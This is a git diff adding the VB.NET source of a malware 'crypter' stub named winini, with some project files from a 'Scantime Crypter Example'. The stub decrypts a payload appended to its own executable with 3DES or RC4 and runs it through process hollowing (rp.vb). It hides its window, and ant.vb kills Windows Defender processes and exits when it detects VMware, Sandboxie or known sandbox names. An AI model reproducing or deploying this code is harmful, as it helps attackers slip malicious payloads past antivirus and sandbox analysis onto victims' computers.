+Public Class _3des + Public Shared Function a(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String + Dim keyArray As Byte() + Dim toEncryptArray As Byte() = Convert.FromBase64String(b) + + If d Then + Dim hashmd5 = New MD5CryptoServiceProvider() + keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c)) + Else + keyArray = UTF8Encoding.UTF8.GetBytes(c) + End If + + Dim tdes = New TripleDESCryptoServiceProvider() + tdes.Key = keyArray + tdes.Mode = CipherMode.ECB + tdes.Padding = PaddingMode.PKCS7 + + Dim cTransform As ICryptoTransform = tdes.CreateDecryptor() + Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length) + + Return UTF8Encoding.UTF8.GetString(resultArray) + End Function +End Class diff --git a/scode (MyCrypter/winini/4cr.vb b/scode (MyCrypter/winini/4cr.vb new file mode 100644 index 0000000..aafa07f --- /dev/null +++ b/scode (MyCrypter/winini/4cr.vb @@ -0,0 +1,54 @@ +Imports System.Text + +Public Class _4cr + Public Shared Function enc(ByVal message As String, ByVal mykey As String) As String + Dim i As Integer = 0 + Dim j As Integer = 0 + Dim cipher As New StringBuilder + Dim returnCipher As String = String.Empty + Dim sbox As Integer() = New Integer(256) {} + Dim key As Integer() = New Integer(256) {} + Dim intLength As Integer = mykey.Length + Dim a As Integer = 0 + While a <= 255 + Dim ctmp As Char = (mykey.Substring((a Mod intLength), 1).ToCharArray()(0)) + + key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) + sbox(a) = a + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + Dim x As Integer = 0 + Dim b As Integer = 0 + While b <= 255 + x = (x + sbox(b) + key(b)) Mod 256 + Dim tempSwap As Integer = sbox(b) + sbox(b) = sbox(x) + sbox(x) = tempSwap + System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) + End While + + a = 1 + + While a <= message.Length + Dim itmp As Integer = 0 + i = (i + 1) Mod 256 + j = (j + sbox(i)) Mod 256 + itmp = sbox(i) + sbox(i) = sbox(j) + sbox(j) = itmp + Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256) + Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0) + itmp = Asc(ctmp) + Dim cipherby As Integer = itmp Xor k + cipher.Append(Chr(cipherby)) + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + + returnCipher = cipher.ToString + cipher.Length = 0 + + Return returnCipher + + End Function +End Class + diff --git a/scode (MyCrypter/winini/Form1.Designer.vb b/scode (MyCrypter/winini/Form1.Designer.vb new file mode 100644 index 0000000..dcef32e --- /dev/null +++ b/scode (MyCrypter/winini/Form1.Designer.vb @@ -0,0 +1,39 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.SuspendLayout() + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(10, 10) + Me.ForeColor = System.Drawing.Color.Transparent + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Name = "Form1" + Me.Text = "Form1" + Me.ResumeLayout(False) + + End Sub +End Class diff --git a/scode (MyCrypter/winini/Form1.resx b/scode (MyCrypter/winini/Form1.resx new file mode 100644 index 0000000..ff31a6d --- /dev/null +++ b/scode (MyCrypter/winini/Form1.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (MyCrypter/winini/Form1.vb b/scode (MyCrypter/winini/Form1.vb new file mode 100644 index 0000000..d3ea088 --- /dev/null +++ b/scode (MyCrypter/winini/Form1.vb @@ -0,0 +1,8 @@ +Public Class Form1 + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + Visible = False + ShowInTaskbar = False + Mymod.Main() + Environment.Exit(0) + End Sub +End Class \ No newline at end of file diff --git a/scode (MyCrypter/winini/My Project/Application.Designer.vb b/scode (MyCrypter/winini/My Project/Application.Designer.vb new file mode 100644 index 0000000..b814b4e --- /dev/null +++ b/scode (MyCrypter/winini/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.winini.Form1 + End Sub + End Class +End Namespace diff --git a/scode (MyCrypter/winini/My Project/Application.myapp b/scode (MyCrypter/winini/My Project/Application.myapp new file mode 100644 index 0000000..fbb5858 --- /dev/null +++ b/scode (MyCrypter/winini/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + Form1 + false + 0 + true + 0 + true + \ No newline at end of file diff --git a/scode (MyCrypter/winini/My Project/AssemblyInfo.vb b/scode (MyCrypter/winini/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..07631b1 --- /dev/null +++ b/scode (MyCrypter/winini/My Project/AssemblyInfo.vb @@ -0,0 +1,39 @@ +Imports System.Resources + +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + + + \ No newline at end of file diff --git a/scode (MyCrypter/winini/My Project/Resources.Designer.vb b/scode (MyCrypter/winini/My Project/Resources.Designer.vb new file mode 100644 index 0000000..ac6c417 --- /dev/null +++ b/scode (MyCrypter/winini/My Project/Resources.Designer.vb @@ -0,0 +1,63 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("winini.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (MyCrypter/winini/My Project/Resources.resx b/scode (MyCrypter/winini/My Project/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/scode (MyCrypter/winini/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (MyCrypter/winini/My Project/Settings.Designer.vb b/scode (MyCrypter/winini/My Project/Settings.Designer.vb new file mode 100644 index 0000000..5f28270 --- /dev/null +++ b/scode (MyCrypter/winini/My Project/Settings.Designer.vb @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/scode (MyCrypter/winini/My Project/Settings.settings b/scode (MyCrypter/winini/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (MyCrypter/winini/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (MyCrypter/winini/My Project/Settings1.Designer.vb b/scode (MyCrypter/winini/My Project/Settings1.Designer.vb new file mode 100644 index 0000000..fac3116 --- /dev/null +++ b/scode (MyCrypter/winini/My Project/Settings1.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.winini.My.MySettings + Get + Return Global.winini.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (MyCrypter/winini/My Project/app.manifest b/scode (MyCrypter/winini/My Project/app.manifest new file mode 100644 index 0000000..eb3c3ae --- /dev/null +++ b/scode (MyCrypter/winini/My Project/app.manifest @@ -0,0 +1,22 @@ + + + + + + + + + + + + diff --git a/scode (MyCrypter/winini/Mymod.vb b/scode (MyCrypter/winini/Mymod.vb new file mode 100644 index 0000000..61f52a6 --- /dev/null +++ b/scode (MyCrypter/winini/Mymod.vb @@ -0,0 +1,107 @@ +Imports System.Windows.Forms +Imports System.Text + +Module Mymod + Dim res As String + Dim thepath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\" + + Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer + Dim random As New Random() + Return random.Next(min, max) + End Function + + Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String + Dim builder As New StringBuilder() + Dim random As New Random() + Dim ch As Char + Dim i As Integer + For i = 0 To size - 1 + ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65))) + builder.Append(ch) + Next i + If lowerCase Then + Return builder.ToString().ToLower() + End If + Return builder.ToString() + End Function + + Public Function GetRandom() As String + Dim builder As New StringBuilder() + builder.Append(RandomString(4, True)) + builder.Append(RandomNumber(1000, 9999)) + builder.Append(RandomString(2, False)) + Return builder.ToString() + End Function + + Sub Main() + Dim Cuttkey As String = "/Assembly/" + FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) + res = Space(LOF(1)) + FileGet(1, res) + FileClose(1) + + Dim Cutter() As String + Cutter = Split(res, Cuttkey) + + Dim exerandname As String = GetRandom.ToString + ".exe" + Dim key As String = Cutter(2) + Dim entype As String = Cutter(3) + Dim antyw As String = Cutter(4) + Dim processZ As String = Cutter(5) + If processZ = "own" Then + processZ = Process.GetCurrentProcess().MainModule.FileName + End If + + If antyw = "true" Then + ant.mofo() + End If + + If Cutter(6) = "yes" Then + If entype = "tripleDES" Then + FileOpen(1, thepath + "a" + exerandname, OpenMode.Binary) + FilePut(1, _3des.a(Cutter(7), key, True)) + FileClose(1) + ElseIf entype = "rc4" Then + FileOpen(1, thepath + "a" + exerandname, OpenMode.Binary) + FilePut(1, _4cr.enc(Cutter(7), key)) + FileClose(1) + End If + Dim oFile1 As System.IO.FileInfo + oFile1 = New System.IO.FileInfo(thepath + "a" + exerandname) + + Dim oFileStream1 As System.IO.FileStream = oFile1.OpenRead() + Dim lBytes1 As Long = oFileStream1.Length + + If (lBytes1 > 0) Then + Dim fileData(lBytes1 - 1) As Byte + oFileStream1.Read(fileData, 0, lBytes1) + rp.MakeIt(fileData, processZ) + oFileStream1.Close() + End If + End If + + If entype = "tripleDES" Then + FileOpen(1, thepath + exerandname, OpenMode.Binary) + FilePut(1, _3des.a(Cutter(1), key, True)) + FileClose(1) + ElseIf entype = "rc4" Then + FileOpen(1, thepath + exerandname, OpenMode.Binary) + FilePut(1, _4cr.enc(Cutter(1), key)) + FileClose(1) + End If + + Dim oFile As System.IO.FileInfo + oFile = New System.IO.FileInfo(thepath + exerandname) + + Dim oFileStream As System.IO.FileStream = oFile.OpenRead() + Dim lBytes As Long = oFileStream.Length + + If (lBytes > 0) Then + Dim fileData(lBytes - 1) As Byte + oFileStream.Read(fileData, 0, lBytes) + rp.MakeIt(fileData, processZ) + oFileStream.Close() + End If + End + End Sub +End Module diff --git a/scode (MyCrypter/winini/ant.vb b/scode (MyCrypter/winini/ant.vb new file mode 100644 index 0000000..ac9fc94 --- /dev/null +++ b/scode (MyCrypter/winini/ant.vb @@ -0,0 +1,73 @@ +'anti threatExpert, vmWare, Anubis, sandboxie, windows defender by t0fx +Public Class ant + Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long + + Public Shared Sub mofo() + seekit("MSASCui") + seekit("msmpeng") + antiSandboxie() + IsVmWare() + AntiThreatExpert() + checkUsername() + checkComputername() + End Sub + + Private Shared Sub seekit(ByVal gay1 As String) + For Each p As Process In Process.GetProcesses() + If p.ProcessName.Contains(gay1) Then + Try + p.Kill() + Catch ex As Exception + End Try + End If + Next + End Sub + + Private Shared Sub checkUsername() + Dim Usernames As New List(Of String) + Usernames.Add("UserName") + Usernames.Add("User") + Usernames.Add("honey") + Usernames.Add("sandbox") + Usernames.Add("currentuser") + Usernames.Add("User") + For Each name As String In Usernames + If Environment.UserName = name Then + Environment.Exit(0) + End If + Next + End Sub + + Private Shared Sub checkComputername() + Dim Computername As New List(Of String) + Computername.Add("ComputerName") + Computername.Add("COMPUTERNAME") + Computername.Add("DELL-D3E62F7E26") + Computername.Add("DWI-9625AC2E275") + Computername.Add("MICHAEL-F156CF7") + For Each name As String In Computername + If Environment.MachineName = name Then + Environment.Exit(0) + End If + Next + End Sub + + Public Shared Sub antiSandboxie() + If Process.GetProcessesByName("SbieSvc").Length >= 1 Then + Environment.Exit(0) + End If + End Sub + Public Shared Sub IsVmWare() + Dim Hndl As Long + Hndl = FindWindow("VMDragDetectWndClass", vbNullString) + If Hndl = 0 Then + Environment.Exit(0) + End If + End Sub + + Private Shared Sub AntiThreatExpert() + If Process.GetCurrentProcess().MainModule.FileName.Contains("sample") Then + Environment.Exit(0) + End If + End Sub +End Class diff --git a/scode (MyCrypter/winini/rp.vb b/scode (MyCrypter/winini/rp.vb new file mode 100644 index 0000000..4ee5733 --- /dev/null +++ b/scode (MyCrypter/winini/rp.vb @@ -0,0 +1,128 @@ +Imports System.Runtime.InteropServices +Imports System.ComponentModel + +Public Class rp + Public Const PAGE_NOCACHE As Long = &H200 + Public Const PAGE_EXECUTE_READWRITE As Long = &H40 + Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80 + Public Const PAGE_EXECUTE_READ As Long = &H20 + Public Const PAGE_EXECUTE As Long = &H10 + Public Const PAGE_WRITECOPY As Long = &H8 + Public Const PAGE_NOACCESS As Long = &H1 + Public Const PAGE_READWRITE As Long = &H4 + Public Const PAGE_READONLY As UInt32 = &H2 + + Shared Sub MakeIt(ByVal data() As Byte, ByVal target As String) + Dim C = New H.Context, SH As H.Section_Header, PI = New H.Process_Information, SI = New H.Startup_Information, PS = New H.Security_Flags, TS = New H.Security_Flags + Dim GC = GCHandle.Alloc(data, GCHandleType.Pinned) + Dim Buffer As Integer = GC.AddrOfPinnedObject.ToInt32 + Dim DH As New H.DOS_Header + DH = Marshal.PtrToStructure(GC.AddrOfPinnedObject, DH.GetType) + GC.Free() + If H.CreateProcess(Nothing, target, PS, TS, False, 4, Nothing, Nothing, SI, PI) = 0 Then Return + Dim NH As New H.NT_Headers + NH = Marshal.PtrToStructure(New IntPtr(Buffer + DH.Address), NH.GetType) + Dim Address, Offset As Long, ret As UInteger + SI.CB = Len(SI) + C.Flags = 65538 + If NH.Signature <> 17744 Or DH.Magic <> 23117 Then Return + If H.GetThreadContext(PI.Thread, C) And H.ReadProcessMemory(PI.Process, C.Ebx + 8, Address, 4, 0) >= 0 And H.ZwUnmapViewOfSection(PI.Process, Address) >= 0 Then + Dim ImageBase As UInt32 = H.VirtualAllocEx(PI.Process, NH.Optional.Image, NH.Optional.SImage, 12288, 4) + If ImageBase <> 0 Then + H.WriteProcessMemory(PI.Process, ImageBase, data, NH.Optional.SHeaders, ret) + Offset = DH.Address + 248 + For I As Integer = 0 To NH.File.Sections - 1 + SH = Marshal.PtrToStructure(New IntPtr(Buffer + Offset + I * 40), SH.GetType) + Dim Raw(SH.Size) As Byte + For Y As Integer = 0 To SH.Size - 1 : Raw(Y) = data(SH.Pointer + Y) : Next + H.WriteProcessMemory(PI.Process, ImageBase + SH.Address, Raw, SH.Size, ret) + H.VirtualProtectEx(PI.Process, ImageBase + SH.Address, SH.Misc.Size, Protect(SH.Flags), Address) + Next I + Dim T = BitConverter.GetBytes(ImageBase) + H.WriteProcessMemory(PI.Process, C.Ebx + 8, T, 4, ret) + C.Eax = ImageBase + NH.Optional.Address + H.SetThreadContext(PI.Thread, C) + H.ResumeThread(PI.Thread) + End If + End If + End Sub + + Private Shared Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long + RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift) + End Function + Private Shared Function vbLongToULong(ByVal Value As Long) As Double + Const OFFSET_4 = 4294967296.0# + If Value < 0 Then + vbLongToULong = Value + OFFSET_4 + Else + vbLongToULong = Value + End If + End Function + + Private Shared Function Protect(ByVal characteristics As Long) As Long + Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _ + PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _ + PAGE_READWRITE, PAGE_EXECUTE_READWRITE} + Protect = mapping(RShift(characteristics, 29)) + End Function + + Friend Class H + Structure Context + Dim Flags, D0, D1, D2, D3, D6, D7 As UInt32, Save As Save + Dim SG, SF, SE, SD, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SC, EFlags, Esp, SS As UInt32 + Dim Registers As Byte() + End Structure + Structure Save + Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger + Dim RegisterArea As Byte() + Dim State As UInt32 + End Structure + Structure Misc + Dim Address, Size As UInt32 + End Structure + Structure Section_Header + Dim Name As Byte, Misc As Misc, Address, Size, Pointer, PRelocations, PLines, NRelocations, NLines, Flags As UInt32 + End Structure + Structure Process_Information + Dim Process, Thread As IntPtr, ProcessId, ThreadId As Integer + End Structure + Structure Startup_Information + Dim CB As Integer, ReservedA, Desktop, Title As String, X, Y, XSize, YSize, XCount, YCount, Fill, Flags As Integer + Dim ShowWindow, ReservedB As Short, ReservedC, Input, Output, [Error] As Integer + End Structure + Structure Security_Flags + Dim Length As Integer, Descriptor As IntPtr, Inherit As Integer + End Structure + Structure DOS_Header + Dim Magic, Last, Pages, Relocations, Size, Minimum, Maximum, SS, SP, Checksum, IP, CS, Table, Overlay As UInt16 + Dim ReservedA As UInt16() + Dim ID, Info As UInt16 + Dim ReservedB As UInt16() + Dim Address As Int32 + End Structure + Structure NT_Headers + Dim Signature As UInt32, File As File_Header, [Optional] As Optional_Headers + End Structure + Structure File_Header + Dim Machine, Sections As UInt16, Stamp, Table, Symbols As UInt32, Size, Flags As UInt16 + End Structure + Structure Optional_Headers + Public Magic As UInt16, Major, Minor As Byte, SCode, IData, UData, Address, Code, Data, Image As UInt32, SectionA, FileA As UInt32 + Public MajorO, MinorO, MajorI, MinorI, MajorS, MinorS As UInt16, Version, SImage, SHeaders, Checksum As UInt32, Subsystem, Flags As UInt16 + Public SSReserve, SSCommit, SHReserve, SHCommit, LFlags, Count As UInt32 + Public DataDirectory As Data_Directory() + End Structure + Structure Data_Directory + Dim Address, Size As UInt32 + End Structure + Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As String, ByRef process As Security_Flags, ByRef thread As Security_Flags, ByVal inherit As Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef startup As Startup_Information, ByRef info As Process_Information) As Boolean + Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal buffer As Byte(), ByVal size As IntPtr, ByRef written As Integer) As Boolean + Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByRef buffer As IntPtr, ByVal size As IntPtr, ByRef read As Integer) As Integer + Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UIntPtr, ByVal [new] As UIntPtr, ByVal old As UInt32) As Integer + Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr + Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As IntPtr, ByVal address As IntPtr) As Long + Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As IntPtr) As UInt32 + Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As Context) As Boolean + Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As Context) As Boolean + End Class +End Class diff --git a/scode (MyCrypter/winini/winini.vbproj b/scode (MyCrypter/winini/winini.vbproj new file mode 100644 index 0000000..7177a72 --- /dev/null +++ b/scode (MyCrypter/winini/winini.vbproj @@ -0,0 +1,128 @@ + + + + Debug + AnyCPU + 9.0.21022 + 2.0 + {431C311C-D462-41B3-8046-6D2EFA480D81} + WinExe + winini.My.MyApplication + winini + winini + 512 + WindowsForms + v4.0 + On + Binary + Off + On + My Project\app.manifest + + + + + + + 3.5 + + + true + full + true + true + bin\Debug\ + winini.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + pdbonly + false + true + true + bin\Release\ + winini.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + + + + + + + + + + + + + + + + + + + + + Form1.vb + + + Form + + + True + True + Settings.settings + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + Form1.vb + Designer + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings1.Designer.vb + + + + + \ No newline at end of file diff --git a/scode (Scantime Crypter Example/.DS_Store b/scode (Scantime Crypter Example/.DS_Store new file mode 100644 index 0000000..00d6689 Binary files /dev/null and b/scode (Scantime Crypter Example/.DS_Store differ diff --git a/scode (Scantime Crypter Example/Crypter/.vs/Crypter/DesignTimeBuild/.dtbcache b/scode (Scantime Crypter Example/Crypter/.vs/Crypter/DesignTimeBuild/.dtbcache new file mode 100644 index 0000000..2d5026b Binary files /dev/null and b/scode (Scantime Crypter Example/Crypter/.vs/Crypter/DesignTimeBuild/.dtbcache differ diff --git a/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/.suo b/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/.suo new file mode 100644 index 0000000..fe86fda Binary files /dev/null and b/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/.suo differ diff --git a/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/Server/sqlite3/db.lock b/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/Server/sqlite3/db.lock new file mode 100644 index 0000000..e69de29 diff --git a/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/Server/sqlite3/storage.ide b/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/Server/sqlite3/storage.ide new file mode 100644 index 0000000..56758a8 Binary files /dev/null and b/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/Server/sqlite3/storage.ide differ diff --git a/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/Server/sqlite3/storage.ide-shm b/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/Server/sqlite3/storage.ide-shm new file mode 100644 index 0000000..63e0a6f Binary files /dev/null and b/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/Server/sqlite3/storage.ide-shm differ diff --git a/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/Server/sqlite3/storage.ide-wal b/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/Server/sqlite3/storage.ide-wal new file mode 100644 index 0000000..2dc9a2d Binary files /dev/null and b/scode (Scantime Crypter Example/Crypter/.vs/Crypter/v15/Server/sqlite3/storage.ide-wal differ diff --git a/scode (Scantime Crypter Example/Crypter/Crypter.sln b/scode (Scantime Crypter Example/Crypter/Crypter.sln new file mode 100644 index 0000000..1da366d --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Basic Express 2010 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Crypter", "Crypter\Crypter.vbproj", "{AFD571C7-F14C-4DAE-AF00-69D6F67C54E7}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {AFD571C7-F14C-4DAE-AF00-69D6F67C54E7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {AFD571C7-F14C-4DAE-AF00-69D6F67C54E7}.Debug|Any CPU.Build.0 = Debug|Any CPU + {AFD571C7-F14C-4DAE-AF00-69D6F67C54E7}.Release|Any CPU.ActiveCfg = Release|Any CPU + {AFD571C7-F14C-4DAE-AF00-69D6F67C54E7}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Scantime Crypter Example/Crypter/Crypter.suo b/scode (Scantime Crypter Example/Crypter/Crypter.suo new file mode 100644 index 0000000..bf4299f Binary files /dev/null and b/scode (Scantime Crypter Example/Crypter/Crypter.suo differ diff --git a/scode (Scantime Crypter Example/Crypter/Crypter/Crypter.vbproj b/scode (Scantime Crypter Example/Crypter/Crypter/Crypter.vbproj new file mode 100644 index 0000000..10fdc80 --- /dev/null +++ b/scode (Scantime Crypter Example/Crypter/Crypter/Crypter.vbproj @@ -0,0 +1,127 @@ + + + + Debug + AnyCPU + 9.0.30729 + 2.0 + {AFD571C7-F14C-4DAE-AF00-69D6F67C54E7} + WinExe + WindowsApplication1.My.MyApplication + WindowsApplication1 + Crypter + 512 + WindowsForms + v4.0 + On + Binary + Off + On + + + + + 3.5 + + + true + full + true + true + bin\Debug\ + Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + pdbonly + false + true + true + bin\Release\ + Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + + + + + + + + 3.5 + + + 3.5 + + + 3.5 + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + 